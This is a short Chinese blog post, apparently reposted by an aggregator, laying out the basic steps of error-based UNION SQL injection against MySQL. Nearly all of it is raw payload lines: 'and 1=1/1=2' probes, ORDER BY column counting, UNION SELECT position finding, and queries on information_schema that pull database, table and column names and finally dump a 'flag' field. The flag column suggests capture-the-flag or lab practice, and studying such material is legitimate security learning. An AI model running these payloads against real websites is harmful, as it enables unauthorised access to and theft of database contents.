SQL 显错注入的基本步骤

Posted Nemesis

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL 显错注入的基本步骤相关的知识,希望对你有一定的参考价值。

又回来了,哎,感觉这块是短板,我需要花三个月时间把这块补一补。

显错注入,从找点,到最后显名的完整流程。

这是个流程框架,内部可能还会有一些细微修改。

 

1:判断注入点
and 1=1 正常
and 1=2 出错

2:判断字段总数
and 1=1 order by 1
and 1=1 order by 2
and 1=1 order by 3
直到出错,得到总数

3:判断显示位置
and 1=1 union select 1
and 1=1 union select 1,2
and 1=1 union select 1,2,3
直到正确,或者有字符显示出来

4:查询当前库名
and 1=1 union select 1,2,database()
等它显示出来

5:查表名
and 1=2 union select 1,database(),table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1
等它显示出来

6:查列名
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 0,1
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 1,1
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=表名 limit 2,1
直到出错

7:字段内容
and 1=2 union select 1,Id,flag from 表名 limit 0,1

以上是关于SQL 显错注入的基本步骤的主要内容,如果未能解决你的问题,请参考以下文章

sql注入显错注入-GET

挖洞入门_显错型SQL注入

SQL注入 -----(显错注入)

SQL注入从入门到进阶:sqli-labs靶场通关笔记

MySQL注入之显错注入

SQL注入